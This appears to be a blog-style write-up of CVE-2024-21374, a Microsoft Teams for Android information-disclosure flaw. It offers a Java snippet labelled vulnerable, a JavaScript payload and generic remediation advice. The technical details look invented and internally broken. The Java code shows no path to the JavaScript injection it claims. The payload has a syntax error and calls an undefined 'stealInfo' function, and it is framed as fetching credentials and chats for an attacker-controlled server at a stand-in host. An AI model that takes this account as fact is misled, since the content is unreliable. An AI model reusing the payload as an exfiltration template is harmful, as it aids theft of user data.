CVE-2024-21374 - Microsoft Teams for Android Information Disclosure Vulnerability: Technical Overview, Exploit Details and the Path to Remediation

In this blog post, we will be delving into the specifics of a newly identified Microsoft Teams vulnerability that has been designated CVE-2024-21374. The vulnerability pertains to Microsoft Teams for Android, and it poses a risk to some sensitive user information. Our discussion will cover the technical aspects of this vulnerability, provide code snippets related to the exploit, present links to original references, and highlight the recommended remediation steps.

Technical Overview

This vulnerability affects Microsoft Teams for Android, a popular communication and collaboration platform powered by Microsoft. The vulnerability results from improper validation of user-supplied input, leading to a potential information disclosure. Attackers who successfully exploit this vulnerability could gain access to sensitive user information, such as usernames and chat content. The CVE ID allocated for this vulnerability is CVE-2024-21374, and the CVSS Base Score is 5.3, indicating a medium-risk level.

The vulnerability exists within the TeamsActivity.java class, which handles the user input and interactions. According to the official CVE-2024-21374 Advisory, the failure to sanitize the user input in this class allows an attacker to inject malicious JavaScript code, which subsequently executes in the context of the affected application, potentially leading to unauthorized access to sensitive information.

Exploit Details

The exploit involves the manipulation of the onCreate function in the TeamsActivity.java class. The code snippet below highlights the vulnerability in this function.

// TeamsActivity.java

public class TeamsActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // [ Vulnerable code ]
        String unsanitizedInput = getIntent().getStringExtra("input");
        String processedInput = processInput(unsanitizedInput);
        displayInputContents(processedInput);
        // [ ... ]
    }

    private String processInput(String input) {
        // Vulnerability: Input is not properly sanitized
        return input;
    }

    // [ ... ]
}

As seen in the code snippet above, the onCreate function retrieves a user's input, processes it, and subsequently displays the processed input. However, the issue lies in the failure to sanitize the input - the contents of the input are not checked for malicious code before processing.

An attacker can exploit this vulnerability by injecting a malicious payload, such as

var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var sensitiveInfo = this.responseText;
        stealInfo(sensitiveInfo);
    }
};
xmlhttp.open("GET", "https://example.com/sensitive_info_endpoint";, true);
xmlhttp.send();

By including a payload like this, an attacker gains access to sensitive information, such as user credentials and chat contents, which can be siphoned and sent to the attacker-controlled server.

Remediation

Microsoft has acknowledged the vulnerability (CVE-2024-21374) and has released patches for the Android app. It is strongly recommended that users upgrade to the latest version of Microsoft Teams for Android.

In addition to the app update, developers should take the following precautions to avoid similar vulnerabilities in the future:

1. Properly sanitize user input: Reject any input containing potentially malicious code that could lead to unauthorized information access.
2. Employ secure coding practices: Use established secure coding guidelines, such as the OWASP Top Ten Project, to prevent vulnerabilities.

Conclusion

The CVE-2024-21374 vulnerability highlights the importance of secure coding practices and alerts the necessity of ensuring that sensitive information handling is done in a safe and secure manner. In summary, always sanitize user input, follow secure coding guidelines, and make sure to stay informed with the latest security updates and vulnerabilities.

Timeline

Published on: 02/13/2024 18:15:55 UTC
Last modified on: 02/28/2024 23:15:09 UTC